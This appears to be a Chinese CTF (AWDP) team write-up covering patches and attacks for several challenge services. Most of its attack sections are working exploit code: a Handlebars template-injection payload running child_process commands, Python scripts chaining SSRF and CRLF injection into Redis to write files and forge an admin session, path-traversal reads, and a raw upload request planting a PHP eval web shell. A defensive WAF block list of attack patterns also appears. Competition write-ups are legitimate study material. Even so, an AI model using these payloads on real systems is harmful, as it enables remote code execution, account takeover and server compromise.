内部赛-2023第三届网络安全攻防大赛团队赛②-复赛AWDP
防御
- flower_shop - evilPatcher 通防
- safevm - evilPatcher 通防
do you like shop
function.php
// 137行
function recurse_copy($src, $dst)
{
$now = getTime();
$dir = opendir($src);
@mkdir($dst);
while (false !== $file = readdir($dir)) {
if (($file != '.') && ($file != '..')) {
if (is_dir($src . '/' . $file)) {
recurse_copy($src . '/' . $file, $dst . '/' . $file);
}
else {
return "";
}
}
}
closedir($dir);
return true;
}
nodeisgood
app.js
// 60行
return res.send(fs.readFileSync('app.js').toString());
// 70行
data = '';
localapi
https://hackerone.com/reports/1820955?ref=www.ctfiot.com
util.js 修复
static restrictToLocalhost(req, res, next) {
const remoteAddress = (req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress).match(/\d+\.\d+\.\d+\.\d+/)[0];
var regexp_rule = [/'/i, /select.+(from|limit)/i, /(?:(union(.*?)select))/i, /sleep\((\s*)(\d*)(\s*)\)/i, /group\s+by.+\(/i, /(?:from\W+information_schema\W)/i, /(?:(?:current_)user|database|schema|connection_id)\s*\(/i, /\s*or\s+.*=.*/i, /order\s+by\s+.*--$/i, /benchmark\((.*)\,(.*)\)/i, /base64_decode\(/i, /(?:(?:current_)user|database|version|schema|connection_id)\s*\(/i, /(?:etc\/\W*passwd)/i, /into(\s+)+(?:dump|out)file\s*/i, /xwork.MethodAccessor/i, /(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|preg_\w+|execute|echo|print|print_r|var_dump|(fp)open|child_process|alert|showmodaldialog)\(/i, /\<(iframe|script|body|img|layer|div|meta|style|base|object|input)/i, /(onmouseover|onmousemove|onerror|onload)\=/i, /javascript:/i, /\.\.\/\.\.\//i, /\|\|.*(?:ls|pwd|whoami|ll|ifconfog|ipconfig|&&|chmod|cd|mkdir|rmdir|cp|mv)/i, /(?:ls|pwd|whoami|ll|ifconfog|ipconfig|&&|chmod|cd|mkdir|rmdir|cp|mv).*\|\|/i, /(gopher|doc|php|glob|file|phar|zlib|ftp|ldap|dict|ogg|data)\:\//i];
for (i = 0; i < regexp_rule.length; i++) {
//console.log(regexp_rule[i]);
if (regexp_rule[i].test(remoteAddress) == true) {
//console.log("attack detected, rule number:", "(" + i + ")", regexp_rule[i]);
return res.json({ 'msg': 'stop!!!' });
break;
}
}
公司招商
// 100行, 替换上传后的 php 字符串, 我这个弄得麻烦了应该有更简单的方法
move_uploaded_file($tmp_name, "$uploads_dir/$filename");
$handle = fopen("$uploads_dir/$filename", "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
$s2 = str_replace("php", "", $contents);
echo $s2;
$handle = fopen("$uploads_dir/$filename", "w");
fwrite($handle, $s2);
fclose($handle);
// move_uploaded_file($tmp_name, "$uploads_dir/$new_file_name");
CTF
nodeisgood
先用 http://xxxunqiu.com:3000/upload API上传模版文件到服务器..
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return global.process.mainModule.constructor._load('child_process').execSync('/readflag / > /tmp/res');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
发送POST请求进行模板渲染命令执行
POST http://eci-2zebqkv83e5kw86aqow4.cloudeci1.ichunqiu.com:3000/home?md5=
Content-Type: application/json
{"name": {"name":"ddddd","layout": "./../../../../../../../../../../../tmp/nodeisgood.tmp"}}
再用get请求读取命令执行信息, 获得flag
GET http://eci-2zebqkv83e5kw86aqow4.cloudeci1.ichunqiu.com:3000/read?read=./../../../../../../../../../../../tmp/res
利用脚本
import requests
data = {"data": """"{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return global.process.mainModule.constructor._load('child_process').execSync('/readflag / > /tmp/res');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} """}
requests.post('http://eci-2zeacjw9s6fuvmodkrvc.cloudeci1.ichunqiu.com:3000/upload', data=data)
data1 = {"name": {"name": "ddddd", "layout": "./../../../../../../../../../../../tmp/nodeisgood.tmp"}}
requests.post('http://eci-2zeacjw9s6fuvmodkrvc.cloudeci1.ichunqiu.com:3000/home?md5=', json=data1)
res = requests.get('http://eci-2zeacjw9s6fuvmodkrvc.cloudeci1.ichunqiu.com:3000/read?read=./../../../../../../../../../../../tmp/res')
print(res.text)
localapi 未完成
clrf注入. 测试时可以转到 nc -lvvp 3001 来查看写的数据对不对。设置 session时, value外要包一层 ''
尝试测试 redis写数据.
写文件
from urllib.parse import quote
a = '''auth tHis_1s_Red1s_pAssw0rd
config set dbfilename 123123
set x "aaaaa"
save
'''
def work():
targetip = '''http://127.0.0.1:6379&headers[host]=127.0.0.1:6379\n''' + a
targetip = quote(targetip, safe='&./:[]=')
targetip = quote(targetip, safe='./:')
url = 'http://192.168.88.140:3000/api/proxy?url=http://127.0.0.1:3000/api/connect?targetIp=' + targetip
print(url)
work()
写session
from urllib.parse import quote
def redis_set_session():
sess_value = '\'{"cookie":{"originalMaxAge":3600000,"expires":"2023-08-25T22:48:39.009Z","httpOnly":false,"path":"/"},"user": { "username": "admin" ,"isLogin": true}}\''
a = '''auth tHis_1s_Red1s_pAssw0rd
set sess:YGNc4YlyQZavd66wfMxF0fJ7YNNTaJlP %s ''' % sess_value
targetip = '''http://127.0.0.1:6379&headers[Host]=127.0.0.1:6379\n''' + a
targetip = quote(targetip, safe='&./:[]=')
targetip = quote(targetip, safe='./:')
url = 'http://192.168.127.150:3000/api/proxy?url=http://127.0.0.1:3000/api/connect?targetIp=' + targetip
print(url)
redis_set_session()
生成 crlf注入
from urllib.parse import quote, unquote
cookie = 'connect.sid=s%3A3MSiRgkA8KYei3AeA8dBZNmAaqBqRkYr.aw6M6EpK84fTyJKt%2F1JdpeDKXig8RXDDshlcrEZlS7o' # 转一下
cookie = quote(cookie, safe='=%')
p2 = f"""&headers[Host]=127.0.0.1:3000
Cookie: {cookie}
Content-Type: plain/text
Connection: close
Content-Length: 5
"""
# s3 = urlencode(p2)
# url = http://127.0.0.1:3000/api/connect?targetIp=http://127.0.0.1:3000/api/list?dirname=views + s3
# http://127.0.0.1:3000/api/connect?targetIp=http://127.0.0.1:3000/api/list&headers%5Bhost%5D=192.168.127.150:3000%0ACookie:%20connect.sid=s%253ARwMwXjSD6ZTPZNjV2O75_BFwgwwnNPIu.2%252F1A%252FPfXF6U33DbVPRMY%252FQF5%252BS%252Ficliv2WWK5ncrjL4%0AContent-Type:%20plain/text%0AConnection:%20keep-alive%0AContent-Length:%203%0A%0A%0A%0A
print(p2)
c = quote(p2, safe='&:=')
print(c)
print('http://127.0.0.1:3000/api/connect?targetIp=http://127.0.0.1:3000/api/list?dirname=views' + c)
script
utils.py
import json
from urllib.parse import quote
import re
def redis_write_file():
a = '''auth tHis_1s_Red1s_pAssw0rd
config set dbfilename 123123
set x "aaaaa"
save
'''
targetip = '''http://127.0.0.1:6379&headers[Host]=127.0.0.1:6379\n''' + a
targetip = quote(targetip, safe='&./:[]=')
targetip = quote(targetip, safe='./:')
url = 'http://192.168.88.140:3000/api/proxy?url=http://127.0.0.1:3000/api/connect?targetIp=' + targetip
print(url)
def redis_set_session():
sess_value = '\'{"cookie":{"originalMaxAge":3600000,"expires":"2023-08-25T22:48:39.009Z","httpOnly":false,"path":"/"},"user": { "username": "admin" ,"isLogin": true}}\''
a = '''auth tHis_1s_Red1s_pAssw0rd
set sess:YGNc4YlyQZavd66wfMxF0fJ7YNNTaJlP %s
save
''' % sess_value
targetip = '''http://127.0.0.1:6379&headers[Host]=127.0.0.1:6379\n''' + a
targetip = quote(targetip, safe='&./:[]=')
targetip = quote(targetip, safe='./:')
url = 'http://192.168.127.150:3000/api/proxy?url=http://127.0.0.1:3000/api/connect?targetIp=' + targetip
print(url)
def print_access_url(debug=False):
cookie = 'connect.sid=s%3AYGNc4YlyQZavd66wfMxF0fJ7YNNTaJlP.2UD%2Bxqxr3jw9BJDyH7YXwgmu8XX4Q%2Bdm%2FTlfOC%2FU9Vw' # 转一下
cookie = quote(cookie, safe='=%')
p2 = f"""&headers[host]=127.0.0.1:3000
Cookie: {cookie}
Connection: close
Content-Length: 4
"""
c = quote(p2, safe='&:=')
c = c.replace('%0A', '%0D%0A')
url = 'http://127.0.0.1:3000/api/connect?targetIp=http://127.0.0.1:3000/api/list?dirname=views' + c
ip1 = '192.168.127.150'
ip_debug = '192.168.127.1'
view2 = re.sub(r'(?<=http://)(.*?)(?=:)', ip1, url, count=1)
if not debug:
return view2
if debug:
view3 = re.sub(r'(?<=targetIp=http://)(.*?)(?=:)', ip_debug, view2, count=1)
print(p2)
print(c)
print(url)
print('访问这个')
print(view2)
print(view3)
print('\nview remote debug')
print(view2.replace('127.0.0.1', '192.168.127.150'))
def print_access_url_with_proxy():
url = print_access_url()
path, params = url.split('targetIp=')
targetIp_encode = path + 'targetIp=' + quote(params)
url2 = 'http://192.168.127.150:3000/api/proxy?url=' + targetIp_encode
return url2
def parse_response_with_proxyurl():
import requests, jsonpath
url = print_access_url_with_proxy()
print(url)
r = requests.get(url)
data = r.json()
arr = jsonpath.jsonpath(data, '$.message.1._readableState.buffer.head.data.data[*]')
res1 = ''.join(chr(x) for x in arr)
print(res1)
arr2 = jsonpath.jsonpath(json.loads(res1), '$.message.body._readableState.buffer.head.data.data[*]')
res2 = ''.join(chr(x) for x in arr2)
print(res2)
solve.py
from utils import redis_set_session, print_access_url,print_access_url_with_proxy,parse_response_with_proxyurl
# redis_set_session()
# print(print_access_url())
# print(print_access_url(debug=True))
# print(print_access_url_with_proxy())
parse_response_with_proxyurl()
理论上配合 redis 修改 session 后, 再用 /api/upload 进行上传文件 + twig 模板注入即可完成。。
公司招商
POST /add-service.php HTTP/1.1
Host: 192.168.88.130
Content-Length: 810
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.88.130
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySvSLVFOjBD5GEk8P
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.88.130/add-service.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=XDEBUG_ECLIPSE
Connection: close
------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="service_title"
------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="service_desc"
------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="service_detail"
------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="filename[0]"
a.php/
------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="filename[2]"
jpg
------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="ufile"; filename="a.php"
Content-Type: image/jpeg
GIF89a<?php @eval($_POST[cmd]); ?>
------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="save"
------WebKitFormBoundarySvSLVFOjBD5GEk8P--
do you like shop | Continue
这边上传压缩包会解压
install password在这边
/data/runtime/cache/8b/26ee33f24ca5ce29bebc37cb105a4e.php
install password第一次设的时候会生成一个缓存文件 然后刚好这个缓存文件也在给你们的源码里